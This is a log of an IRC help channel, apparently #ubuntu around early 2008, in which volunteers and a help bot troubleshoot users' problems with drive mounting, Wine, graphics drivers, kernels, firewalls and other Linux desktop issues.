[13:28] ali1234, ill check it out [13:28] th0r, the "Fn" keys shows no output in the showkey command [13:28] mewm right...you need the Fn+ something else [13:29] th0r, ahh will try again [13:29] ubotu flash [13:29] To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash [13:29] The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix. [13:29] Does anyone know where the mount properties are stored after you change them inside the drive properties windows??? [13:29] mewm but Fn+downarrow should show a keycode if it is being interpreted at all [13:30] mewm: http://ubuntuforums.org/archive/index.php/t-605482.html (but i can't figure out what he means about ctrl - but it sounds like he had the same problem as you) [13:30] Hi. I'm using the iwl3945 driver and I can use fn-f2 to change the value in /sys/bus/pci/drivers/iwl3945/0000\:0c\:00.0/rf_kill from 0 to 2 and back. is this a "hardware switch"? So, will disabling wlan this way (putting 2 into that file) disable the wlan adapter to save power, or will this not "disable wireless"? [13:31] mewm: ah i found it! system->prefs->sound has a different set of preferences! [13:32] is there such thing as a network install of ubuntu rather than using the outdated media? [13:33] eshaase: yes [13:33] h1st0: how do i go about doing a network install?

[13:38] hi men, i've a question about firestarter. i'm on the wizard to configure it... and he's asking to me if my ip is assigned by dhcp server. i don't know this information! i've a router with dynamic ip and ROAMING mode ON in ubuntu. am i using dhcp or not? [13:38] i think i have a broken tar.gz archive. i get some EOF errors. How can i repair it [13:38] kr0n1x: Say yes :) [13:39] I'm getting: Invalid mount option when attempting to mount the volume 'RemovDrive'. [13:39] But it isn't in the fstab [13:39] d_mitry: yes I am now [13:39] thx hairulfr [13:39] kr0n1x: Ni problem, [13:39] where are the mount options stored as well?? [13:40] Ruud /etc/fstab [13:40] kr0n1x, It asks if your router automaticly gives you an IP every time you plug in a computer, or if you have to type in a IP manually. Usually people that aren't experts in network has DHCP enalbed [13:40] realmer, could you help me with the problem i have (changing what the command "opera" does)? [13:40] th0r: the drive is not in the fstab like I said [13:40] yes mewm it is all automatic, then dhcp on :) thx [13:41] kr0n1x, yup ;) I just thought it was better to let you know what it does [13:41] Th0r: it is /dev/sdc and that is never mentioned anywhere [13:41] yes it is good mewm [13:41] Ruud is it a removable drive? [13:41] th0r: yes [13:41] Ruud that is a funtion of hald...don't know where it gets the info from. [13:41] !Gnometris [13:41] is there any way to repair a tar.gz archive? I get some EOF errors [13:41] Sorry, I don't know anything about gnometris - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [13:42] !tar.gz [13:42] Files with extensions .tar, .gz, .tgz, .zip, .bz2, .7z, .ace and other archive file formats can be opened with file-roller (GNOME) or Ark (KDE) - Also see https://help.ubuntu.com/community/FileCompression [13:43] Ruud here you go...a section on changing default mount options.... http://www.linuxfromscratch.org/blfs/view/svn/general/hal.html [13:43] th0r: I'll read through it right now [13:44] th0r, could you maybe tell me how i can repair a tar.gz archive? When i try to extract it, i get EOF error? [13:45] mewm far as I know there is no way...you have to download it again [13:45] th0r, argh okay :) [13:45] -de [13:46] I'm running 7.10, and the 2nd user has a partition on the HDD auto mounted and displayed on their desktop. How can I stop this partition from auto mounting for user 2? [13:48] in firestarter wiki it says: "Tic off the "Apply policy changes immediately"." what it means? i have to disable or enable it? i don't know "tic off" [13:48] how can i change what the command "opera" does? there turned out to be some mess-up when i was (re)installing opera multiple times. [13:48] 1. why is my compiz choosing emerald as decorator even though ive set the command to "gtk-window-decorator --replace"? [13:48] I would like to make my Ubuntu part of my network, whose name for breifty is HOMEOFFICE, how do I do that? [13:48] i got a wierd problem i seem to have br0 and eth0 which is the same network card and for some reason its not getting its static address and instead is picking up a dhcp address [13:48] kr0n1x my guess would be you should make sure there is a checkmark next to that choice [13:48] 2. how can i make wallpaper-tray autostart with gnome? [13:48] Dmitry_: type "which opera" [13:49] realmer, thanks. [13:49] blackest: br0 is a network bridge, just fyi [13:49] !startup > linduxed (read the private message from ubotu) [13:49] realmer, /home/dmitry/bin/opera [13:49] realmer, then? [13:49] th0r then i have to activate it? [13:49] hi [13:49] hey. when i execute a script that do a loop in php cli shell after about 5-6 hour(s) or so its stopping from working... is that the config file that i need to chagne in somthing? [13:49] yeah i think its down to virtual box [13:49] Dmitry_: ok you have overrided your default opera with the /home/bin one [13:49] martzipAN^: yeah php has a max execution time [13:50] i am remastering a ubuntu cd, how can i change partmans default filesystem ? [13:50] realmer, how could i un-override it? [13:50] Is there a default command in Ubuntu that minimizes all windows? [13:50] where i can change it? [13:50] th0r: this didn't help; couldn't find the mount options as suggested in that document [13:50] kr0n1x I don't know...you asked how to interpret 'tic off' and I responded. if the howto tells you to activate it then do so [13:50] martzipAN^: dunno, try reading the manual? [13:50] Dmitry_: so try renaming home/dmitry/bin/opera to opera_test for example [13:51] th0r this is the page: https://help.ubuntu.com/community/Firestarter#head-28b9ed8b94dc51e9984f714ade2037c99a7a9867 can you check please? [13:51] what he means? [13:51] hi guys i've got ventrilomix running under wine, but i dont have any codecs, where should i try? [13:51] Ruud there seems to be a number of references to that in google. From what I gather, if you have a single removable drive who's options are wrong, it is easiest to just define it in fstab....changing hald seems to be problematical [13:52] jimmy__ : www.free-codecs.com/ [13:52] kr0n1x I don't use firestarter...would program iptables myself directly if I wanted it. [13:52] martzipAN^: max_execution_time in php.ini [13:52] yes but i'm not england or USA then i'm not sure what it means :( [13:52] thanks vwfanatic, what should i get and which directory should they go under? sorry I'm a bit unclear of this.. [13:52] kr0n1x give me a second to check it out [13:53] realmer, success. could i delete /home/dmitry/bin/opera? [13:53] thor: ok, should it be something like: /dev/sdc1 /media/target ntfs user,noauto,exec 0 0 [13:53] how do i go about getting an icon for things like my home folder or trash on my desktop? [13:53] how to change partmans default filesystem ? [13:53] jtravnick: just drag and drop mostly [13:53] Ok, heres' my question: I am a rediculous n00b. I think I'm going to try to compile a program frommsource. ON a scale of 1-10 how bad of an idea is that? [13:54] kr0n1x yes, he wants you to enable the 'Apply policy changes immediately' [13:54] jtravnick: hmm but not for home :/ [13:54] Dmitry_: probably, stuff in /home/user/bin is usually done by the user itself :) [13:54] ok thanks th0r :) [13:54] kr0n1x also enable the tray icon and the 'minimize to tray on window close' [13:54] realmer, excellent! :) thanks for the help. [13:54] yes yes ok th0r, anyway firestarter is crashing continuosly [13:54] what do i do for home than? [13:55] max_execution_time to 0? [13:55] kr0n1x later in that section you also enable the echo options [13:55] max_execution_time(0) ? [13:55] https://bugs.launchpad.net/firestarter/+bug/120445 [13:55] danloz it depends what it is if its helloworld go right ahead [13:55] jtravnick: right click on Desktop, select "create launcher", change applications o location [13:55] th0r: ok, should it be something like: /dev/sdc1 /media/target ntfs user,noauto,exec 0 0 [13:56] danloz compiling a program from source isnt to bad if you have good instructions [13:56] Ruud that looks about right...it is an ntfs drive and not fat32, right?

[13:56] jtravnick: then put the location in and choose an icon etc [13:56] th0r yes, it is ntfs [13:56] Hmmm. Anybody understand this command? [13:56] sudo apt-get install linux-headers-`uname -r` [13:56] Ruud those options are a good first guess...usually they work for me. [13:56] danloz: yes [13:56] What is 'uname-r'? [13:56] th0r: although properties said filesistem fuseblk [13:56] danloz: that tells it to use your current kernel version [13:56] danloz: try it yourself [13:56] danloz: yes. uname -r means the version of linux you are running [13:57] type uname -r on the cmdline [13:57] its a little command to get the version of your current kernal [13:57] :D [13:57] exit [13:57] Ruud you might need fuse...just a sec [13:57] <_moro_bana_> please tell me how to join the python chanell, it says i have to be identified [13:57] th0r: (fuseblk I saw when it worked) properties said it was and ntfs drive and filesystem was set to fusblk [13:57] Hmmmmm [13:57] _moro_bana_: /msg nickserv help [13:57] moro you need to register a nick with nickserv [13:58] Ok. Why does that command go in quotes? [13:58] _moro_bana_: try /msg NickServ help [13:58] it will give you instructions on how to register [13:58] then you can identify [13:58] danloz: the `` mean to replace with the output of the command inside [13:58] anyone on my first question?

[15:10] hottium: : but i asking about stereo headphones [15:10] PriceChild: I know the commands im using and i know they work im just using them to help people.. if u want ill just do it in the bot channel and have them send it from there [15:10] orthodoc: huh sorry i misread :D [15:10] erawfish: where is the xorg.0.log located?

[15:11] Asterix_: /var/log [15:11] hottium: thats ok: [15:11] bluetooth headphones, anyone [15:11] erawfish: the log is completely empty [15:11] is there anyway to force a package to install [15:11] orthodoc: https://help.ubuntu.com/community/BluetoothAudio [15:11] can i compile the 2.6.24 kernel safely on gutsy? [15:12] El_toni, why on earth do you want to? [15:12] LjL: thanks, i got to check that out [15:12] El_toni: yes. use kernel-package [15:12] El_toni: compile it safely, probably yes, *use* it safely, likely not. [15:12] LjL: why not? [15:12] Asterix_: I don't believe you [15:13] can I create a forum for my country at ubuntu, and an irc ubuntu channel? [15:13] PriceChild, i need a recompiled kernel and the 2.6.4 implemented the ip3945 drivers [15:13] erawfish: since when was using a *different* version of the kernel than provided by default supported in Ubuntu? what guarantees that things will not break? it's not even really "supported" to compile your own kernel even if it's the correct version. [15:13] :) [15:13] !kernel | erawfish [15:13] erawfish: The core of the Ubuntu Operating System is the Linux kernel: see https://help.ubuntu.com/community/Kernel - You shouldn't have to compile your own, but if you're convinced you do, see https://help.ubuntu.com/community/Kernel/Compile - For more: /msg ubotu stages [15:13] erawfish: I just browsed to there and realized the X has to be capitalized.... [15:13] Xintruder: you can create a channel. /msg chanserv help === xavhorn is now known as woodsoul [15:13] LjL: I know you can compile, I ask why you can't use it [15:13] erawfish: perhaps if you give him the correct file name ;) which is /var/log/Xorg.0.log, with a capital X. then i bet it won't be empty [15:14] El_toni, why do you need those? Doesn't it work in gutsy? [15:14] Xintruder, read the wiki page I gave you to see if it already exists. [15:14] erawfish: the relevant part of that message is "you shouldn't have to compile your own". anyway, i answered i think [15:14] PriceChild, i am trying to get a well optimized kernel for my laptop and i have free time :) [15:14] El_toni: this is futile [15:14] PriceChild, everythings works fine on gutsy [15:14] erawfish: You never told me how to disable compiz.... [15:15] Darkmystere_: uninstall xserver-xglr, restart X. it won't start anymore [15:15] Darkmystere_: and I told you to remove xserver-xgl [15:15] erawfish, why? [15:15] El_toni: fine, just don't come here to complain if things then break :) get the Hardy kernel source package and have fun. [15:15] !highno | El_toni [15:15] El_toni: A higher version number does not mean that it's better. Especially with packages such as the linux kernel. The packages in the Ubuntu repositories are stable and will work fine. You should have a better reason than "newer" when considering compiling from source or using 3rd party repos. [15:15] El_toni: cause it won't be optimized in any meaningful way [15:16] !ls [15:16] The linux terminal or command-line interface is very powerful.

[15:17] Xintruder, ah [15:17] erawfish, yes but i love recompiling, this is the hidden reality :) [15:17] b [15:18] El_toni: then you run the wrong distro. please use LFS or gentoo [15:18] Xintruder, I'd suggest you get help from #ubuntu-locoteams on this [15:18] jojjo: stop spamming please [15:18] erawfish, no. i like ubuntu! [15:18] how do i use find's output to move all mp3s in a folder to another? [15:18] blackest: Ok Cool [15:18] erawfish: if I restored my xorg.conf and then rebooted would the log from the bad boot be saved under Xorg.0.log.old?

[15:41] and one rarely sees a benefit [15:41] chazco, your os & any software compiled for 64bits will be able to take advantage of features of your cpu the 32bit cant [15:42] danloz: THe only time I saw that msg was on a usb wireless that got unplugged incorrectly and messed up the hardware...

I use it mainly for uni work... Java + Eclispe, web development (gedit and possibly Xara now, LAMP local), truecrypt, Softmaker office and virtual machine... [15:42] but chazco, you would need to install & compile software for 64bit too, which is where the fun resides [15:42] And if Jack_Sparrow diggs into his brain enough hell remeber when i was complaining about the kernal problem.. [15:42] chazco: there is no java plugin for 64bit [15:43] I thought java was available? ie... javac mycode?

[16:14] okay, thanks :) [16:14] joshwaryan: the first one is the letter of the device (if you've got only one hdd in your pc, it would be a) and the second * [16:15] is the number of the partition [16:15] hi there guys im able to enable wireless conectivity on startup when only 'auto wlan0" is listed in /etc/network/interfaces but at the same time im not able to use the interface name (wlan0) with any command like iwconfig or ifup, ifdown... otherwise, when i add "iface wlan0 inet dhcp", "wireless_essid router01", "wireless_key 's:wepascii'" im not able to connect automaticly at startup but im able to use wlan0 with all commands like ifup etc... any idea how [16:15] can i fix this?? [16:17] SBCU: 'apt-zip-list wine' should generate two files, one being a script that can be used to download the packages on any other host that has 'wget' [16:17] Hi guys. Is this the place to go for help with ubuntu? [16:17] yes [16:17] jess_: sure is [16:18] gruler: okay, I'll check it out [16:18] * Pirate_Hunter Hi everyone just stoping by quickly [16:18] Darkmystere_: Yes, just reading ....

The hard drive only has 10 gb and the Hard drive has 30 gb free [16:20] Jack_Sparrow: I've got a sb450 , that option line worked here fyi [16:20] does anyone have a link that explains how to manually add drivers using the console (I may have to add drivers for a wireless card) [16:20] lemontea: is your hard drive partitioned? [16:20] jess_: it depends do other ppl use the camera as well if not than your all good [16:20] joshwaryan it depends on what driver [16:20] Jack_Sparrow: Quote [ATI Technologies Inc SB450 HDA Audio (rev01] My Card {: ATI Technologies Inc SB450 HDA Audio (rev 01) [16:20] } Exact Match! [16:20] redtape yes [16:20] can somebody help me get mp3's to play [16:21] in this case, it's a driver for a Ralink wireless card attached to a PCI slot [16:21] redtape one partation is ubuntu os one partation is storage and the other is unallocated [16:21] !mp3 | brandonD [16:21] brandonD: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats [16:21] redtape which the unallocated has free space [16:22] lemontea: just mount the other partitions, then you'll have more space :) [16:22] brandonD: it is quite easy to get mp3 working just read the link(s) and youre good to go [16:22] Darkmystere_: I thought so... So now to see if we can convert their fix to your computer [16:22] redtape how? [16:22] joshwaryan you do you know what chipset specifically? [16:22] redtape I have no clue i have gparted dl [16:23] gparted should do the trick for you, I think you can mount partitions from there? correct me if i'm wrong everyone [16:23] Jack_Sparrow: Ok... But i dont have that file >.. [16:23] redtape the free space is "unallocated" what should i formated as ??? [16:23] Jack_Sparrow: Maybe thats my Whole Problem Right there? [16:23] lemontea: why dont you just increase ubuntu size on the unallocated partition [16:23] Pirate_Hunter: I thought it would be bad to leave a camera program running with root privelages. [16:23] redtape ext3 then mount to the ubuntu? [16:23] lemontea: yeah [16:23] Pirate_Hunter how? [16:24] right click, then choose where you want to mount the partition to [16:24] jess_: no not really unless you're talking to ppl you shouldnt and are using windows but yeah you should try to get it to work without root access [16:24] hi there guys im able to enable wireless conectivity on startup when only 'auto wlan0" is listed in /etc/network/interfaces but at the same time im not able to use the interface name (wlan0) with any command like iwconfig or ifup, ifdown... otherwise, when i add "iface wlan0 inet dhcp", "wireless_essid router01", "wireless_key 's:wepascii'" im not able to connect automaticly at startup but im able to use wlan0 with all commands like ifup etc... any idea how [16:24] can i fix this??

[16:25] Ah. [16:25] joshwryan i mean ralink chipset [16:25] retape and also CREAT AS extended partition correct? [16:25] brandonD: why wont it? have you tried? if not how do you know, if you have than its your sound settings [16:26] lemontea: yes, that should work, I'm not sure because I'm not sitting on your PC so I don't know all the factors in this :P [16:26] !sound | brandonD [16:26] brandonD: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer).

[16:29] hello all [16:29] android6011: meaning the desktop version installed automatically, but the server version apparently needs a manual install === Rambler is now known as Toother [16:30] Darkmystere_: That page is imporant to a future resolution of your problem. I just dont have the knowledge to apply it to your setup. [16:30] brandonD: have you tried playing several different mp3's with the movie player [16:30] joshwaryan thats weird [16:30] brandonD: have you made restricted format possible? [16:31] android6011: tell me about it!

[16:32] Darkmystere_: uname -a [16:32] Darkmystere_: uname -a [16:32] hi, my id3 tags don't show in my xmms playlist window. Does anyone know how to adjust that ? [16:32] Pirate_Hunter: I'm afraid he left [16:32] and you install a new kernel like any other [16:32] any other package that is [16:32] nickrud, SBCU: i was really trying to understand his problem oh well [16:32] Hey there - I'm still trying to sort out my display problems that I caused by accidentally installing nvidia-glx-new when I should only have been using nvidia-glx. The error that I see when I try to execute startx is "Error: API Mismatch: The NVIDIA Kernel module has the version 1.0-7184, but this X module has the version 1.0-9631. Please make sure that the kernel module and all NVIDIA drievr components have the same version." Sounds si [16:32] Jack_Sparrow 2.6.22-14-generic i had 2.6.22-14-rt before and sound worked on first boot into that kernal how would i get it? [16:32] Did nvidia release a fix for the memmory leak issue for their driver? [16:33] can anyone share the command for starting vino server via ssh?

[16:33] Xintruder: Did u try Downgrading Drivers? [16:33] BlackSunrise, open a terminal and go "wine name_of_app.exe" [16:33] Darkmystere_: I do not follow [16:34] i don't have a terminal [16:34] SBCU: nah its not that is that when you say you cnat play mp3 and the basics have been cleared unless they explain how it happened it is hard to try and help [16:34] BlackSunrise, :/ yes you do [16:34] BlackSunrise: Please keep your thoughts on one line and avoid using enter every three words [16:34] no i don;'t [16:34] Xintruder: Using a Previously working Driver [16:34] BlackSunrise, Yeah. You do :) [16:34] BlackSunrise: what do you want to run on wine? [16:34] I know there is one but i can't find it [16:34] joshwaryan and then when you extract there will be a readme basically you are just gonna want to do a ./configure then make then make install [16:34] i want to run diablo2 lod [16:34] Darkmystere_: no I did, I installed the latest manually from nvidias site and regretted it. [16:34] BlackSunrise, ah, that is a different problem. it is under Application -> Accessories -> Terminal [16:34] no I did not**** [16:35] How do i mount free space too ubuntu partition [16:35] BlackSunrise: wine should pick up widow apps when you double click them but you should check their website to see if the app you got is compatible [16:35] it was for ubuntu [16:35] Xintruder: Use the Restricted Driver that Came with it Because that was a bad idea i read a fourm some where when some 1 had that problem Trying to find it [16:35] and if you have problems connecting, on that link there is a graphical connect utility and you should try that [16:35] i often get this error when printing pdf or large files... anyone know why http://pastebin.org/15218 [16:35] That came with it? Im sorry I do not understand you :( [16:36] BlackSunrise, http://www.latte.ca/D2LOD/ [16:36] BlackSunrise: well I would advise to check online cause if im not mistaken there is a tutorial to get that game running on linux especially if it was made for linux and you should't use wine for that [16:36] lol [16:36] Xintruder: System->Administrator->Restricted Driver Manager See if the Video card driver is Enabled or Inuse of not try and Enable it [16:37] BlackSunrise: wine = windows apps and not really suitable for gaming in my opinion unless you want to fork out money for Cedega [16:37] Darkmystere_: That did not work in the past bro.. [16:37] LoD works perfectly in WINE. no cedega [16:37] Xintruder: Sec Researching.. [16:37] Xintruder: what video card do you have [16:37] hi, i have a problem with compiz and direct rendering. it seems as when i type glxinfo i get "direct rendering: No (LIBGL_ALWAYS_INDIRECT set)" also glxgears doesn't run smoothly [16:37] nickrud: nvidia 7400 [16:37] Xintruder: are you still going on about your machine freezing ? [16:37] nightf0x: what videocard? [16:38] ati 9000 pro [16:38] nightf0x: you need the open source "ati" driver [16:38] ikonia: lol.. I reinstalled ubuntu... got my drivers messed up pretty bad last night [16:38] How do i mount free space too ubuntu partition [16:38] this linux shit is diffcult [16:38] and enable DRM/DRI [16:38] when i type "unset LIBGL_ALWAYS_INDIRECT" it then says direct rendering yes and i get 2500 fps in glx gears [16:38] Xintruder: why did you reinstall ? [16:38] i am using the opensource driver [16:38] erawfish: i dont play games and he said it was meant for linux thats why i wrote that [16:38] lemontea: you create a partition [16:38] android6011: ok, I will give it a shot...can I ask you another quick question? I want to install GUI under server...I tried sudo apt-install ubuntu-desktop but it said the package did not exist...should I get my internet working first and then download gnome or does it exist under a different name? [16:38] BlackSunrise: it's not really difficult, it's different and takes some time [16:38] ikonia: Because I did not know how to fix it the drivers, and figured reinstalling is faster than fixing [16:38] nightf0x: but no DRM/DRI [16:39] well i got the wine that it recomended and now it's in a folder... [16:39] Xintruder: I explained to you the situation with your driver/compiz interaction, why did you think re-install was going to fix anything ? [16:39] nightf0x: you're only supposed to run compiz with LIBGL_ALWAYS_INDIRECT [16:39] BlackSunrise: LoD will run fine in ubunut's wine [16:39] Xintruder: try this Fourm http://ubuntuforums.org/showthread.php?t=307705 [16:39] lemontea: gparted live CD use that easy to understand and use just like playing pac-man [16:39] joshwaryan id worry about getting it to work first [16:39] so it's supposed to be like that? [16:39] then worry about connecting [16:39] ikonia: Because I tried many things later and messed up my drivers, reinstalling fixed them. [16:39] android6011: ok, thanks for your help [16:39] yeah but how do i install lod [16:39] ? [16:39] BlackSunrise, all you do is install wine and then double click the LOD install file [16:39] nightf0x: no. you need direct rendering [16:39] joshwaryan: it's 'sudo apt-get install ubuntu-desktop' [16:40] i do and it won't open it [16:40] nightf0x: 3d apps won't work too well with compiz running on that driver, it's a known issue [16:40] erawfish: he/she doesnt know how to use wine which suprises em or he/she has figured out [16:40] Xintruder: why did you keep trying things ? you logged the bug, you just had to wait, now if they ask for debug information you've tainted your system [16:40] BlackSunrise, what does it say/do? [16:40] joshwaryan np. ive done ralink drivers a million times its either gonna go real easy or things are gonna go bad so good luck [16:40] crdlb: it works fine. it's an ati using card. not fglrx [16:40] BlackSunrise: Start with which wine you installed and how you did it. [16:40] cdrom0 file browser [16:40] yea, so how do i enable it? besides typing unset LIBGL_ALWAYS_INDIRECT into shell [16:40] everytime [16:40] Good sunday to all, , i'm trying to download a few podcasts onto my phone, I often connect the phone over usb,, some reason the usb connection isn't working, the phone detects that it is connected and goes into data transfer mode, the messages log doesn't show any indication of the usb device being connected [16:40] BlackSunrise, no. when you double click the install file.... what does it say/do? [16:40] so is there a crash on my usb stack that i maybe have to reset or something? [16:40] Can anyone tell me in their sessions what the bluetooth startup is? I deleted mine [16:40] nightf0x: lsmod |grep drm [16:41] erawfish: no it doesn't, the radeon driver doesn't support redirected glx [16:41] astro76: really? ok, thanks...I will try that [16:41] Just wasn't sure what it was supposed to be starting by default in sessions [16:41] how do you point out with apt-zip where the media should go? [16:41] Well does Anyone Know How to download a Second Kernal Via Synaptics? I cant find any [16:41] ikonia: It was a clean install earlier, and it is still a clean install... no differens but the desktop and screen saver [16:41] crdlb: what is the package name of this radeon driver you mean? [16:41] install.exe cannot be opened.. no application suitable for automatic installation is avauilable for handling this kind of file [16:41] How do one exit vi and save changes? [16:41] BlackSunrise, okay. Right click the file and go to properties [16:41] BlackSunrise: wine install.exe [16:41] that command shows drm and agpgart [16:41] k350: ZZ [16:41] erawfish: xserver-xorg-video-ati [16:41] Xintruder: I'm not going to argue with you, but your system can be different, more so because you've said "you tried all things" [16:41] im guessing thats good [16:41] k350: ESC:qw [16:42] erawfish, he doesn't know where the terminal is :/ [16:42] BlackSunrise: Start with which wine you installed and how you did it. and where you got it... [16:42] sourcforge [16:42] and it was one for ubuntu [16:42] that's all i know [16:42] BlackSunrise, then go to the tab labeled "Open With" [16:42] BlackSunrise: uninstall it. get it from ubuntu repos [16:42] BlackSunrise, then click "Add" [16:42] erawfish: :qw okay thanks!:-) [16:42] BlackSunrise: right click the .exe file > choose to open with other app> you may have to click on the drop down arrow to type wine [16:42] BlackSunrise, then click the "Use custom command" and type "Wine" [16:42] ikonia: maybe your right man... whats done is done i guess.. [16:42] k350: that won't work. Either do ZZ or :wq [16:43] anyone able to help me with my laptop's usb conection? it normally works and i reakon if i reboot it'll work [16:43] nightf0x: there doesn't seem to be any problem, just don't set LIBGL_ALWAYS_INDIRECT [16:43] BlackSunrise, then click "Add" and make sure that it is selected in the origianl "open with" panel [16:43] GUYS.. If he does not have wine installed correctly, none of that will work [16:43] Pirate_Hunter: It turns out my problem was file permissions on /dev/video0. [16:43] NET||abuse: reboot then [16:43] how do i not set it? [16:43] Jack_Sparrow: I know u need family time but is there a way to install kernals via synaptics? [16:43] NET||abuse: sorry cant help you but do try restarting you never know [16:43] wah [16:43] i start up my comp and it is already like that [16:43] but rebooting everytime it decides not to play with usb devices is just so inappropriate? i need a workaround.. [16:43] Jack_Sparrow, he has a copy for ubuntu, I use the one from winehq too, it just doesn't have the dblclick turned on by default [16:43] no [16:43] snap i got it... thanks man [16:43] Darkmystere_: yes [16:43] Darkmystere_: only what ubuntu releases [16:43] so i have to unset it manually [16:43] i just had to enable wine on it [16:43] Darkmystere_: in synaptic , hit ctl-f , search for linux-image [16:43] NET||abuse: log a bug then [16:43] BlackSunrise, so it opened? [16:44] it opened [16:44] bye [16:44] BlackSunrise, good deal, enjoy [16:44] Pirate_Hunter, well, honestly it always seems to be the most simple resoltion, but can i not just restart the usb stack itself? [16:44] NET||abuse: if you asked and waited, I'd have more patience but you ask ask ask ask ask [16:44] nightf0x: then you did something to causes that, like puting it in your ~/.bashrc or /etc/profile [16:44] BlackSunrise: congrats [16:44] ty man [16:44] BlackSunrise, in the future, download your apps from the official ubuntu repos [16:44] jimmygoon: Then test his wine install... have him drop to a terminal. and type wine notepad just to see if it is working [16:44] BlackSunrise, it will save you much headache [16:44] jess_: :D im pleased to know you got it fixed by doing independent research.. this is what using linux is all about not being spoon fed and thanx for telling me [16:44] Jack_Sparrow, he can't even open the dang terminal, if it opened then its good enough :P [16:44] Jack_Sparrow, he justed used this: http://sourceforge.net/project/showfiles.php?group_id=6241&package_id=174803 [16:45] Jack_Sparrow, which is what I use and it works fine (includes notepad etc) [16:45] NET||abuse: like i said i dont know since you mentioned restarting i just agreed I dont use my fone with the pc at least not at the moment anyway. however someone may appear that can help you [16:45] * nickrud waits for the tension level to drop ..... [16:45] does anyone know where I can get a ubuntu and/or a tux bumper sticker? [16:45] NET||abuse: what have you done to debug this problem ? [16:45] didn't mess with any of those files but ill check for entries [16:45] nickrud: that will never happen here but its nice to dream [16:45] Ok So it says not to install it directly but instead the linux-rt meta-package [16:45] maynards-girl: join #ubuntu-offtopic and ask [16:45] jimmygoon: Just because he used the same tutorial you used does not mean he got it installed correctly.. .. test that first [16:46] thanks ikonia [16:46] Darkmystere_: then find that one, and install it [16:46] BlackSunrise, hit "Alt+F2" on your keyboard. A dialog will open. type "gnome-terminal" and then hit enter [16:46] maynards-girl If you order a distro on CD from Canonical, they usually send you four Ubuntu stickers with it [16:46] jimmygoon: That was all I was saying [16:46] is there a command to parse the syntax for rules, changelog and control file? [16:46] BlackSunrise, your terminal will come up and when it does... in there.... type "wine notepad" and tell me what it does [16:46] Darkmystere_: you would search for linux-rt by the way [16:46] maynards-girl I do believe you can buy them separately off the Canonical site too though [16:46] draggie, i know, bit those ones dont last long in the weather [16:46] nickrud: It just Brings me To 3 Packajes that all have the install the meta package [16:46] thanks though [16:47] ikonia, well, i'm not sure what steps to take at this stage, i've watched the /var/log/messages for any signs of the usb devices being detected, i've just now plugged in a regular usb stick, there is zero messages out of the /var/log/messages [16:47] Jack_Sparrow, I guess I just don't understand how you can incorrectly install a deb :/ [16:47] jimmygoon: After that I would ask if he did winecfg yet [16:47] NET||abuse: so either a.) udevd is dead b.) your usb ports have hunt [16:47] hung [16:47] ikonia, so in both cases there is no messages or any indicatins of activity as there normally would be. [16:47] hi guys [16:47] nickrud: So install linux-rt instead of linux-image 2.6.22-rt [16:47] Darkmystere_: yes [16:47] ikonia, that's what i figured as i have had this trouble a few times. [16:48] Pirate_Hunter: I should thank you. I had actually been Googling about looking for any common problems with this particular camera. When you told me the answer should be easy to find I realized that I had misunderstood the type of problem I was having. Thx. [16:48] BlackSunrise: terminal is like msdos on windows but looks better hopefull you should be alright... a good advice you should read more on linux and its command and a hang on how it works [16:48] jimmygoon: There are lots of debs that are not built correctly or have dependency issues... [16:48] ikonia, so when i reboot it invariablly works again. [16:48] Jack_Sparrow, lol, they are the official winehq ubuntu deb files :/ [16:48] Check this out.. my brother had htis lcd monitor.. and the psu in it had two capacitors blown.. so i found an old rockwell modem with the same capacitors and switched them,.. and the damn thing works [16:48] nickrud: Ok >.> 255MB Dang...lol [16:48] trying to connect to a VPN server but all I get is Jan 13 17:31:20 radius pppd[23383]: pppd 2.4.4 started by root, uid 0 [16:48] Jan 13 17:31:20 radius pppd[23383]: Using interface ppp0 [16:48] Jan 13 17:31:20 radius pppd[23383]: Connect: ppp0 <--> /dev/pts/3 [16:48] Jan 13 17:31:22 radius pppd[23383]: Connection terminated.

[16:48] sorry [16:48] NET||abuse: no there doesn't [16:49] Darkmystere_: do as the description said, install the meta package.

[16:50] NET||abuse: first, look if it's running [16:50] it is [16:50] NET||abuse: so lets not waste time [16:50] Darkmystere_: yes.

[16:50] NET||abuse: no [16:50] Pirate_Hunter: It wasn't so much a single link that helped me as the overwhelming number of links saying that the camera should work automatically under Gutsy and that the only reason for it not to work under Ubuntu is a need to install PWC support. [16:50] OK .... [16:51] all: I need a semester project in CSE, can anyone help? [16:51] l1unatic: not really the channel for that [16:51] !offtopic > l1unatic [16:51] Darkmystere_: np, I had mentioned installing linux-rt earlier, I at first thought you were confirming that. Are you using xchat for irc? [16:51] ikonia, so is it a hardware fault that would be independant of either linux or windows (i'm suggesting this is a problem that could also occur under xp) [16:51] i willl do it when i'm done.. i'm installing diablo... [16:51] yay for me [16:51] i'm having a problem with a new model acer, os installs fine, but upon booting fresh install, it can't find the sata controller. anyone seen info on this problem or suggestions? [16:51] NET||abuse: doubtful, it's more likley a problem with the current kernel and your chipset support [16:51] jess_: hmmm PWC will keep that in mind for next time now go out there and get new member to join the ubuntu community and to use linux :D [16:52] nickrud: Yea I like it because it bounces up and down on Awn when some 1 uses my name and changes the color of peoples name when they do Darkmystere_: or Darkmystere: Ect [16:52] ikonia, i'm soooo sorry,, i just realized the terminal i was checking ps aux on was an ssh session to a file serv box here in the house,, oops [16:52] Darkmystere_: yeah, I was wondering cuz you seemed to have missed a couple of my lines, I thought you might be using a client that didn't colorize [16:53] Darkmystere_: what app is that? [16:53] ikonia, doesn't matter, it is also still running on local machine [16:53] nickrud: X-Chat-Gnome IRC Chat the other 1 has some Generic #Ubuntu with diffrent people [16:53] NET||abuse: lol, that kinda thing is embarrassing :) [16:54] Is there any program to measure the speed of my HD (MB/s)?

